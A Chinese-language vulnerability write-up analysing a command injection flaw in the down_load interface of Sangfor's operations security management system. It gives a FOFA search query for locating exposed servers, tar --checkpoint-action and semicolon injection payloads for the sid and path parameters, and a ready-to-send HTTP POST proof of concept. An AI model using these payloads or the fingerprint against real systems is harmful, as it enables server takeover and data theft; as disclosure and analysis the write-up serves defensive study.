深信服运维安全管理系统 down_load 远程命令执行漏洞


漏洞简介

深信服运维安全管理系统 down_load 接口存在远程命令执行漏洞。攻击者可通过构造恶意的请求,利用该漏洞在目标服务器上执行任意命令,从而可能导致服务器被完全控制、敏感数据泄露等严重后果。影响范围包括所有运行存在该漏洞版本的深信服运维安全管理系统的服务器。

影响版本

低于 3.0.12 20241106

fofa语法

body="/fort/login" && header="FORTSESSIONID"

漏洞分析

看下 com.sbr.fort.subforeign.controller.audit.FortAuditLogSubwayController#allDownLoad的实现逻辑

跟进 getLogvd 方法,看下它的实现逻辑

参数 sid、path 直接拼接进 cmd 中进行命令执行。

sid注入分析

其中,可以看到sid 出现在了两个位置:

  1. 作为 tar 归档文件的文件名一部分:... + "/" + sid + ".vnc.logvd"
  2. 作为 tar 命令要归档的目标文件/目录名(最后一个参数):... " + sid

直接使用分号 ; 来注入新命令会变得困难。

假设 sid 为 a; whoami,拼接后的命令会是: cd ...; tar cfvp /tmp/a; whoami.vnc.logvd a; whoami

这条命令在 shell 中会被解析成 tar 命令的多个参数,而不是两条独立的命令,因为分号出现在了参数内部,而不是作为命令分隔符。这会导致 tar 命令因参数错误而执行失败,无法达到注入目的。

注入必须利用 tar 命令自身的功能。一些版本的 tar 命令支持通过参数来执行外部命令,这为我们提供了攻击路径。

例如,tar 的 --checkpoint-action 参数可以在处理文件时执行一个 shell 命令。

我们可以构造一个恶意的 sid 参数,让它被 tar 命令解析为选项,而不是文件名。

  • sid 参数 payload: --checkpoint=1 --checkpoint-action=exec='touch /tmp/pwned_by_sid'
  1. 当服务器接收到这个 sid 后,拼接出的 shell 命令会变成(简化后):
cd ...; tar cfvp /tmp/--checkpoint=1 --checkpoint-action=exec='touch /tmp/pwned_by_sid'.vnc.logvd --checkpoint=1 --checkpoint-action=exec='touch /tmp/pwned_by_sid'
  1. Shell在解析这条命令时:
    1. 它会执行 tar 命令。
    2. cfvp 是 tar 的基本选项。
    3. /tmp/--checkpoint=1...logvd 会被当作要创建的归档文件名。这个文件名虽然很奇怪,但语法上是合法的。
    4. 关键点:--checkpoint=1 和 --checkpoint-action=exec='...' 会被 shell 解析为传递给 tar 命令的独立参数。
  2. tar 命令启动后,它会识别 --checkpoint-action 参数,并在处理第一个文件块(由 --checkpoint=1 触发)时,执行 exec 后面的命令,即 touch /tmp/pwned_by_sid。
  3. 最终,tar 命令可能会因为找不到要归档的目标文件(因为后面的参数都被当成选项了)而报错退出,但这无关紧要,因为我们的恶意命令 touch /tmp/pwned_by_sid 已经在其报错前被执行了。

path注入分析

其中path的注入更加方便、直接

  1. 服务器接收到请求,path 的值为 ; touch /tmp/pwned_by_audit #/a,sid 的值为 a。
  2. 在 getLogvd 方法中,newPath 被计算为 path.substring(0, path.length() - sid.length() - 1),结果是 ; touch /tmp/pwned_by_audit #。
  3. 最终拼接的 shell 命令变为: cd <some_base_path>; touch /tmp/pwned_by_audit #;tar cfvp <some_tmp_path>/a.vnc.logvd a
  4. 当这个命令被执行时,cd 命令首先执行,然后执行 touch /tmp/pwned_by_audit,成功创建文件。# 将后续的 tar 命令注释掉,避免了语法错误。
  5. 服务器的 /tmp 目录下会成功创建一个名为 pwned_by_audit 的空文件,证明命令执行成功。

漏洞复现

POC

POST /fort/subforeign;help/audit/down_load HTTP/1.1
Host: sangfor_osm.mrxn.net
Content-Type: application/x-www-form-urlencoded

sid=a&path=;RCE_POC/a&operationsProtocolName=vnc&userAccount=test&resourceName=test&accountName=test&resourceIp=12

访问命令执行结果重定向文件,成功获取到命令执行结果。


手机扫码阅读

深信服运维安全管理系统 port_validate 远程命令执行漏洞

深信服运维安全管理系统 get_clip_img 远程命令执行漏洞

评 论